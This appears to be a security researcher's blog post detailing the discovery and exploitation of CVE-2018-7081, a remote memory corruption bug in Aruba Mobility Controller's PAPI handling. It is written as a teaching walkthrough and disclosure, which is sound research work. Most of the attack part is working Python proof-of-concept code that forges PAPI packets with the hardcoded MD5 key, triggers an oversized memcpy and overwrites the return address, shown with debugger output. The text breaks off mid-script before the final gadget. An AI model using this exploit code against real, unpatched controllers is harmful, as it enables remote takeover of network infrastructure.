Remote Code Execution in Aruba Mobility Controller (ArubaOS) - CVE-2018-7081 2019-09-04 01:00:00 +0000

Disclaimer: this vulnerability was found in a summer research (June 2018) with Pedro “P3r1k0” Guillén. We reported the vulnerability at November ends, between May and July the fixes where released. I wrote the post back in November (2018) and did not check it again (just to add the CVE identificator and this disclaimer) so If you spot any incorrection, please contact me at twitter (@TheXC3LL).

CVE-2018-7081 is a memory corruption vulnerability present in network-listening components that leads to hijack the program flow and, consequently, to a remote command execution. To see all platforms affected check the official report from Aruba Networks (the original issue was found in the firmware of ArubaOS Mobile Access Switch, but the six major branches of Aruba Mobility Controller are affected). In this article will be described the process followed to find the vulnerability and to build the proof of concept, trying to cover topics from the basics.

This post is aimed to people that begins, so if you are familiarized with the basic concepts, just jump to the part where the PoC is created.

0x01 Extract and emulate

The first step is to extract the binaries from the firmware, and this can be accomplished easyly with the well-known binwalk:

binwalk -e -M ArubaOS_MAS_7.4.1.9_62608

Now we can start working with our binaries. The approach followed by us in our research were to emulate only the minimum binaries needed, instead of the whole firmware. Making only few binaries work will give to you less headaches than a whole firmware. Of course this shortcut can not be taken always, but if you can, skip the path full of pain :)

Our focus is on vulnerabilities that can be exploited remotely (nothing is sexier than a RCE). Aruba devices communicate between them using few protocols, being the most interesting the PAPI communication. Reading this amazing security report from Sven Blumenstein you can see that the PAPI protocol was broken in that time, and PAPI is handled by the msgHandler binary. Juicy info :). Sounds like this is a binary where we want to put an eye:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ find . -iname msgHandler ./mswitch/bin/msgHandler psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ file ./mswitch/bin/msgHandler ./mswitch/bin/msgHandler: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld.so.1, for GNU/Linux 2.6.9, stripped

We are going to work with a MIPS big endian, so we need to create the right environment to run the binaries and debug them.

# Move to cpio-root folder before :) sudo apt-get install "libc6-mips*" sudo apt-get install qemu qemu-user qemu-user-static gdb-multiarch 'binfmt*' sudo mkdir /etc/qemu-binfmt sudo ln -s /usr/mips-linux-gnu /etc/qemu-binfmt/mips sudo apt-get install binutils debootstrap cp `whereis qemu-mips-static | cut -d" " -f2` .

Can we run our binary?

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -h usage: msgHandler [-d] [-n] -d = enable debug prints. -n = disable md5 signatures. -g = disable garbling.

OK! Now we need to know how is this service launched (what paremeters are used). In the post from 2016, the parameters used to run the service are present in the nanny_list file, so check it:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ grep msgHandler ./mswitch/bin/nanny_list RUN_ALL RESTART /mswitch/bin/msgHandler -g

Run it:

sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g

Oops! this not work!. We could execute the binary with a “-h” as parameter but with a “-g” is failing, so the problem is not related with the emulation: the binary is being executed but it exits early. QEMU provides us the –strace option to see all syscalls made by the binary, so we can use it to see if it exited “naturally” or was any kind of weird error:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g 12762 uname(0x76fff268) = 0 12762 brk(NULL) = 0x10001000 (...) 11373 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = -1 errno=2 (No such file or directory) 11373 exit_group(1)

This binary tries to open a file, but it does not exist and fails. We are going to create the requested file and see if the execution advances more from this point (we are inside a chroot, so everything is inside “./”):

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ mkdir ./var && mkdir ./var/log && touch ./var/log/msgHandler.log psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g 14703 uname(0x76fff268) = 0 14703 brk(NULL) = 0x10001000 (...) 14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory) 14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory) 14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory) (...) 14703 open("/var/log/msgHandler.log",O_WRONLY|O_APPEND|O_CREAT,0644) = 7 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14703 getpid() = 14703 14703 fstat(7,0x76fff208) = 0 14703 write(7,0x76fff2c0,73) = 73 14703 exit_group(1)

Nice! It worked. If we watch carefully the new trace, we can see that 3 files are missing too:

(...) 14703 stat("/flash/papik_prev",0x76fff370) = -1 errno=2 (No such file or directory) 14703 stat("/flash/papienhsec",0x76fff1e8) = -1 errno=2 (No such file or directory) 14703 stat("/tmp/msgh_debug",0x76fff298) = -1 errno=2 (No such file or directory) (...)

Create the files and repeat:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ touch ./flash/papik_prev && touch ./flash/papienhsec && touch ./tmp/msgh_debug psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g (...) 17433 stat("/flash/papik_prev",0x76fff370) = 0 17433 stat("/flash/papienhsec",0x76fff1e8) = 0 17433 stat("/flash/papik",0x76fff298) = -1 errno=2 (No such file or directory) (...)

Repeat…

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ touch ./flash/papik psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g (...) 19190 stat("/tmp/.sock",0x76fff450) = -1 errno=2 (No such file or directory) (...)

Repeat again…

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ mkdir ./tmp/.sock psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/msgHandler -g 19693 uname(0x76fff268) = 0 (...) 20709 gettimeofday(1996486360,0,1996485904,240,0,0) = 0 20709 _newselect(8,[7,6,5,4,],[],[],{60,0})

Oh, wait, it worked ? It worked! Our handler for PAPI packets is up and running. This binary will handle incoming PAPI messages and forward them to other services inside ArubaOS, so we can try to run another service that consume this kind of messages (just iterate over nanny_list until find a nice candidate). Lets try to run the rfm binary:

sudo chroot . ./qemu-mips-static ./mswitch/bin/rfm

It worked like a charm. Good boy :)

0x02 Communicating with internal services or “Who’s your PAPI?”

To build a basic PAPI message and start investigating we can use as base the script provided by Sven Blumenstein in his post. After a bit of reversing, and trial and error, a basic working PAPI message was built:

# Aruba test # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys , socket , hashlib host = sys . argv [ 1 ] port = int ( sys . argv [ 2 ]) def aruba_encrypt ( s ): return '' . join ([ chr ( ord ( c ) ^ 0x93 ) for c in s ]) # Packet: header = " \x49\x72 " # Magic Header for PAPI message header += " \x00\x01 " # Protocol Version header += " \xc0\xa8\x01\x01 " # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += " \xc0\xa8\x01\x74 " # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += " \x20\x20 " # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this header += " \x20\xfc " # Source port for PAPI message (20fc == 8444) header += " \x00\x04 " #unknown 3 header += "EE" #unknown 4 header += " \x00\x01 " # Sequence number header += " \x36\xb1 " # PAPI Message Code checksum = " \x00 " * 16 # Empty Checksum padding = " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " payload = ( # show configuration; does not matter I Just copied it from the post. ' \x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06 ' ' \x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00 ' ' \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' ' \x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61 ' ' \x74\x69\x6f\x6e\x0a ' ) packet = checksum + padding + payload m = hashlib . md5 () m . update ( header + packet ) key = " \x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33 " # "asdf;lkj763" m . update ( key ) checksum = m . digest () client = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) client . sendto ( header + checksum + padding + payload , ( host , port ))

We can see how the packet is correctly parsed by msgHandler and forwarded to a service in port 8224 (it does not matter at this moment, we only want to forge valid packets):

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static ./mswitch/bin/msgHandler -g -d Resetting SIZE = 28 received a message on remote:MHSockFd Inside else statement MsgCode:14001 Got external packet getting into HandleRxPacket IP address ::ffff:7f00:1:57091 ::ffff:7f00:1:df03 ae14 Inside switch stat LOC:Inside msgh_validate_pkt 1 Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1] Sending to unix socket: port number 8224 Read 1 packets

Ok, now we have the capacity to craft messages than will be forwarded to internal services in our ArubaOS. We can check what ports is opening the RFM binary using strace again:

psyconauta@insulatergum:~/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root| ⇒ sudo chroot . ./qemu-mips-static --strace ./mswitch/bin/rfm 6101 uname(0x76fff298) = 0 (...) 6101 unlink("/tmp/.sock/8409.sock") = 0 6101 bind(4,1996485896,110,0,0,0) = 0 (...) 6101 unlink("/tmp/.sock/9409.sock") = 0 6101 bind(5,1996485896,110,0,0,0) = 0 (...)

So rfm is using the ports 8409 and 9409. Lets edit our script and see if the PAPI message is forwarded correctly:

# Aruba test - forward packet to RFM service # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys , socket , hashlib host = sys . argv [ 1 ] port = int ( sys . argv [ 2 ]) def aruba_encrypt ( s ): return '' . join ([ chr ( ord ( c ) ^ 0x93 ) for c in s ]) # Packet: header = " \x49\x72 " # Magic Header for PAPI message header += " \x00\x01 " # Protocol Version header += " \xc0\xa8\x01\x01 " # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += " \xc0\xa8\x01\x74 " # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += " \x20\xd9 " # Destination port for PAPI message (20d9 == 8409--> RFM service) header += " \x20\xfc " # Source port for PAPI message (20fc == 8444) header += " \x00\x04 " #unknown 3 header += "EE" #unknown 4 header += " \x00\x01 " # Sequence number header += " \x36\xb1 " # PAPI Message Code checksum = " \x00 " * 16 # Empty Checksum padding = " \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " payload = ( # show configuration ' \x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06 ' ' \x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00 ' ' \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' ' \x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61 ' ' \x74\x69\x6f\x6e\x0a ' ) packet = checksum + padding + payload m = hashlib . md5 () m . update ( header + packet ) key = " \x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33 " # "asdf;lkj763" m . update ( key ) checksum = m . digest () client = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) client . sendto ( header + checksum + padding + payload , ( host , port ))

If everything is ok…

# At msgHandler: Resetting SIZE = 28 received a message on remote:MHSockFd Inside else statement MsgCode:14001 Got external packet getting into HandleRxPacket IP address ::ffff:7f00:1:44869 ::ffff:7f00:1:af45 b481 Inside switch stat LOC:Inside msgh_validate_pkt 1 Packet from ::ffff:7f00:1 msgHdr->SrcIp6Addr =>[::] msgHandler->SrcIpAddr = [127.0.0.1] Sending to unix socket: port number 8409 PapiSrc :::8444 PapiDest :::8409 StackSrc ::ffff:7f00:1:44869 StackDst ::1:8409 PktType 0x0004(BWR) Seq:1 pktLen=193 Read 1 packets # At rfm: (...) 14436 clock_gettime(1,1996486352,268464832,0,0,0) = 0 14436 recvfrom(4,268508736,41000,64,1996486104,1996486144) = 193 14436 brk(0x10047000) = 0x10047000 14436 time(268591104,268508384,1,268508388,0,0) = 1543484545 14436 time(1996485520,1979813083,1,0,0,0) = 1543484545 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory) 14436 getpid() = 14436 14436 socket(PF_UNIX,SOCK_DGRAM,IPPROTO_IP) = 6 14436 fcntl64(6,F_SETFD,1) = 0 14436 connect(6,0x76065954,16) = -1 errno=2 (No such file or directory) (...)

At this point we can forge valid PAPI messages that will land on our target service (rfm). This template can be used as a seed for fuzzing the service but… it is not even necessary. With just a little bit of dynamic analysis the vulnerabilities jump into your eyes :)

0x03 Make it crash

Just run the binary, attach a debugger, and start poking here and there. One interesting function called to process our PAPI packet is executeAMAPIMethodWithVec:

[0x76141a10]> pd 30 @ sym.executeAMAPIMethodWithVec / (fcn) sym.executeAMAPIMethodWithVec 1780 | sym.executeAMAPIMethodWithVec (int arg2); | ; var int local_10h @ sp+0x10 | ; var int local_14h @ sp+0x14 | ; var int local_18h @ sp+0x18 | ; var int local_20h @ sp+0x20 | ; var int local_b8h @ sp+0xb8 | ; var int local_bch @ sp+0xbc | ; arg int arg2 @ a1 | 0x0040b1b8 3c1c0fc0 lui gp, 0xfc0 | 0x0040b1bc 279cced8 addiu gp, gp, -0x3128 | 0x0040b1c0 0399e021 addu gp, gp, t9 | 0x0040b1c4 27bdff40 addiu sp, sp, -0xc0 | 0x0040b1c8 afbf00bc sw ra, 0xbc(sp) | 0x0040b1cc afbe00b8 sw fp, 0xb8(sp) | 0x0040b1d0 03a0f021 move fp, sp | 0x0040b1d4 afbc0020 sw gp, 0x20(sp) | 0x0040b1d8 afc400c0 sw a0, 0xc0(fp) | 0x0040b1dc afc500c4 sw a1, 0xc4(fp) | 0x0040b1e0 afc600c8 sw a2, 0xc8(fp) | 0x0040b1e4 afc700cc sw a3, 0xcc(fp) | 0x0040b1e8 24020001 addiu v0, zero, 1 | 0x0040b1ec afc20028 sw v0, 0x28(fp) | 0x0040b1f0 8fc200c4 lw v0, 0xc4(fp) | 0x0040b1f4 afc200a4 sw v0, 0xa4(fp) | 0x0040b1f8 8fc200a4 lw v0, 0xa4(fp) | 0x0040b1fc 2442004c addiu v0, v0, 0x4c | 0x0040b200 afc200a8 sw v0, 0xa8(fp) | 0x0040b204 27c20050 addiu v0, fp, 0x50 | 0x0040b208 00402021 move a0, v0 | 0x0040b20c 8fc500a4 lw a1, 0xa4(fp) | 0x0040b210 2406004c addiu a2, zero, 0x4c | 0x0040b214 8f9981e8 lw t9, -sym.imp.memcpy(gp) ; [0x10000278:4]=0x415e30 sym.imp.memcpy | 0x0040b218 00000000 nop | 0x0040b21c 0320f809 jalr t9

Let’s explore that memcpy. Run QEMU with gdb ( sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm ) and in other window gdb ( gdb-multiarch ./mswitch/bin/rfm ). Inside gdb, run target remote localhost:1234 to attach to the process and start debugging. Put a breakpoint at 0x0040b214 (where the memcpy is called).

Breakpoint 3, 0x0040b214 in executeAMAPIMethodWithVec () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 76fff4c8 000036b1 76fff4c8 10011e40 0000004c 76fff594 t0 t1 t2 t3 t4 t5 t6 t7 R8 764c83a8 00000000 00000000 00000000 00000062 00000000 00000000 0000002b s0 s1 s2 s3 s4 s5 s6 s7 R16 10011e40 10000430 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 0000001d 0040b1b8 00000000 00000000 10008090 76fff478 76fff478 0040b908 sr lo hi bad cause pc 20000010 0000016f 00000003 00000000 00000000 0040b214 fsr fir 00000000 00739300 (gdb) x/5wx $a1 0x10011e40: 0x49720001 0xc0a80101 0x7f000001 0x0000bcfa 0x10011e50: 0x20d920fc

So, 0x4c bytes of our packet will be copied to a memory buffer (if you check it carefully, this 4972… is the magic header). The end of the memory copied corresponds with the part that we called “padding” in our packet:

(gdb) x/wx $a1+0x4c 0x10011e8c: 0x00000000

If we follow the execution at some point another memcpy is called (inside sxdr_read_str) using part of this value as sizer (check register $a2):

Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 00000000 00000000 76fff4a8 10011e8f 00000000 10011e8c t0 t1 t2 t3 t4 t5 t6 t7 R8 00000000 609943e5 f88d93f1 00000000 00000000 00000000 00000000 00000000 s0 s1 s2 s3 s4 s5 s6 s7 R16 00000000 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244 sr lo hi bad cause pc 20000010 0000016f 00000003 00000000 00000000 76141a08 fsr fir 00000000 00739300

Change the value in our python script and see what happens:

# Aruba test # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys , socket , hashlib host = sys . argv [ 1 ] port = int ( sys . argv [ 2 ]) def aruba_encrypt ( s ): return '' . join ([ chr ( ord ( c ) ^ 0x93 ) for c in s ]) # Packet: header = " \x49\x72 " # Magic Header for PAPI message header += " \x00\x01 " # Protocol Version header += " \xc0\xa8\x01\x01 " # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += " \xc0\xa8\x01\x74 " # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += " \x20\xd9 " # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this header += " \x20\xfc " # Source port for PAPI message (20fc == 8444) header += " \x00\x04 " #unknown 3 header += "EE" #unknown 4 header += " \x00\x01 " # Sequence number header += " \x36\xb1 " # PAPI Message Code checksum = " \x00 " * 16 # Empty Checksum padding = " \x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " payload = ( # show configuration ' \x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06 ' ' \x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00 ' ' \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ' ' \x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61 ' ' \x74\x69\x6f\x6e\x0a ' ) packet = checksum + padding + payload m = hashlib . md5 () m . update ( header + packet ) key = " \x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33 " # "asdf;lkj763" m . update ( key ) checksum = m . digest () client = socket . socket ( socket . AF_INET , socket . SOCK_DGRAM ) client . sendto ( header + checksum + padding + payload , ( host , port ))

Launch the new packet and enjoy our 0xFFFF at $a2:

Breakpoint 7, 0x76141a08 in sxdr_read_str () from /home/psyconauta/Documentos/_ArubaOS_MAS_7.4.1.9_62608.extracted/_50A200.extracted/cpio-root/lib/libcmnutil.so (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 000000ff 000000ff 76fff4a8 10011e8f 0000ffff 10011e8c t0 t1 t2 t3 t4 t5 t6 t7 R8 00000000 67451717 7e4642e3 00000000 00000000 00000000 00000000 00000000 s0 s1 s2 s3 s4 s5 s6 s7 R16 0000ffff 76fff4a8 00000075 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 0000001d 75f5fdc0 00000000 00000000 761a83b0 76fff448 76fff478 0040b244 sr lo hi bad cause pc 20000010 0000016f 00000003 00000000 00000000 76141a08 fsr fir 00000000 00739300

Continue the execution aaaaaand Segfault!

[1] 59357 segmentation fault sudo chroot . ./qemu-mips-static -g 1234 ./mswitch/bin/rfm

So… we have a classic overflow caused by a sizer taken directly from a packet. We can execute memcpys with an arbitrary size… and that is nice :)

0x04 Hijack the flow

Ok, at this moment we have a cool overflow. Lets turn this bug in something useful. We need to look for code where values from the stack are used in a jump. If we control the stack values, we control where the code jumps. Check near 0x0040b890:

[0x0040b890]> pd 7 | ; CODE XREF from sym.executeAMAPIMethodWithVec (0x40b7d4) | 0x0040b890 8fc200b4 lw v0, 0xb4(fp) | 0x0040b894 03c0e821 move sp, fp | 0x0040b898 8fbf00bc lw ra, 0xbc(sp) | 0x0040b89c 8fbe00b8 lw fp, 0xb8(sp) | 0x0040b8a0 27bd00c0 addiu sp, sp, 0xc0 | 0x0040b8a4 03e00008 jr ra \ 0x0040b8a8 00000000 nop

Yup, it is a jump to $ra, and we can control $ra because this lw ra, 0xbc(sp) is setting $ra with a value from stack, and we can overwrite the stack with our vulnerable memcpy. Lets change the payload string for a de Bruijin string generated with radare2 ( ragg2 -P 1000 -r ) and send the new PAPI packet:

Program received signal SIGSEGV, Segmentation fault. 0x0040b24c in executeAMAPIMethodWithVec () (gdb) i r zero at v0 v1 a0 a1 a2 a3 R0 00000000 764c8394 41416e41 7700f4a7 7700f4a7 10021e8e 00000003 10021e8e t0 t1 t2 t3 t4 t5 t6 t7 R8 00000000 00000000 76137000 7613a594 00000001 767fe438 00000000 76141a10 s0 s1 s2 s3 s4 s5 s6 s7 R16 10011e40 10000430 00000418 76557144 10011e40 10010878 76fff6d8 76fff6d0 t8 t9 k0 k1 gp sp s8 ra R24 000001bd 75f5fdc0 00000000 00000000 10008090 76fff478 76fff478 0040b244 sr lo hi bad cause pc 20000010 0001cf82 000001fb 41416e41 00000000 0040b24c fsr fir 00000000 00739300 (gdb) x/i $pc => 0x40b24c <executeAMAPIMethodWithVec+148>: sw zero,0(v0) (gdb)

Here the binary is crashing because $v0 holds a non valid address (0x41416e41). This value is contained in our pattern at position 115, so we only need to change this to a valid memory address (remember: we are just building a PoC in QEMU):

# 115 payload = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAm" payload += " \x76\xff\xf4\x9c " # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) # 881 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF"

Now the execution should not crash until reach our jr ra at 0x0040b8a4:

Breakpoint 8, 0x0040b8a4 in executeAMAPIMethodWithVec () (gdb) x/i $ra 0x41674141: Cannot access memory at address 0x41674140

Nailed! We have an arbitrary control of that jump: we can hijack the program flow and jump where we want :)

0x05 One gadget to rule them all

At this point our PoC looks like this:

# Aruba test # Based on https://packetstormsecurity.com/files/136997/Aruba-Authentication-Bypass-Insecure-Transport-Tons-Of-Issues.html import sys , socket , hashlib host = sys . argv [ 1 ] port = int ( sys . argv [ 2 ]) def aruba_encrypt ( s ): return '' . join ([ chr ( ord ( c ) ^ 0x93 ) for c in s ]) # Packet: header = " \x49\x72 " # Magic Header for PAPI message header += " \x00\x01 " # Protocol Version header += " \xc0\xa8\x01\x01 " # Destination IP for PAPI message (c0a80101 == 192.168.1.1) header += " \xc0\xa8\x01\x74 " # Origin IP (c0a80174 == 192.168.1.116); this value does not matter header += "DD" # Unkwown 1 header += "DD" # Unkwown 2 header += " \x20\xd9 " # Destination port for PAPI message (2020 == 8224); ATM the port number does not matter, later see why we use this header += " \x20\xfc " # Source port for PAPI message (20fc == 8444) header += " \x00\x04 " #unknown 3 header += "EE" #unknown 4 header += " \x00\x01 " # Sequence number header += " \x36\xb1 " # PAPI Message Code checksum = " \x00 " * 16 # Empty Checksum padding = " \x00\xFF\xFF\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 " # 115 payload = "A" * 95 # Padding 1 payload += "B" * 4 # Address where we want to jump payload += "C" * 16 # Padding 2 payload += " \x76\xff\xf4\x9c " # 0x76FFF49C; random valid memory address to bypass the crash at 0x40b24c (sw zero,0(v0)) # 881 payload += "AAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABgABhABiABjABkABlABmABnABoABpABqABrABsABtABuABvABwABxAByABzAB1AB2AB3AB4AB5AB6AB7AB8AB9AB0ACBACCACDACEACFACGACHACIACJACKACLACMACNACOACPACQACRACSACTACUACVACWACXACYACZACaACbACcACdACeACfACgAChACiACjACkAClACmACnACoACpACqACrACsACtACuACvACwACxACyACzAC1AC2AC3AC4AC5AC6AC7AC8AC9AC0ADBADCADDADEADFADGADHADIADJADKADLADMADNADOADPADQADRADSADTADUADVADWADXADYADZADaADbADcADdADeADfADgADhADiADjADkADlADmADnADoADpADqADrADsADtADuADvADwADxADyADzAD1AD2AD3AD4AD5AD6AD7AD8AD9AD0AEBAECAEDAEEAEFAEGAEHAEIAEJAEKAELAEMAENAEOAEPAEQAERAESAETAEUAEVAEWAEXAEYAEZAEaAEbAEcAEdAEeAEfAEgAEhAEiAEjAEkAElAEmAEnAEoAEpAEqAErAEsAEtAEuAEvAEwAExAEyAEzAE1AE2AE3AE4AE5AE6AE7AE8AE9AE0AFBAFCAFDAFEAFFAFGAFHAFIAFJAFKAFLAFMAFNAFOAFPAFQAFRAFSAFTAFUAFVAFWAFXAFYAFZAFaAF" packet = checksum + padding + payload m = hashlib . md5 () m . update ( header + packet ) key = " \x61\x73\x64\x66\x3b\x6c\x6b\x6a\x37\x36\x33 " # 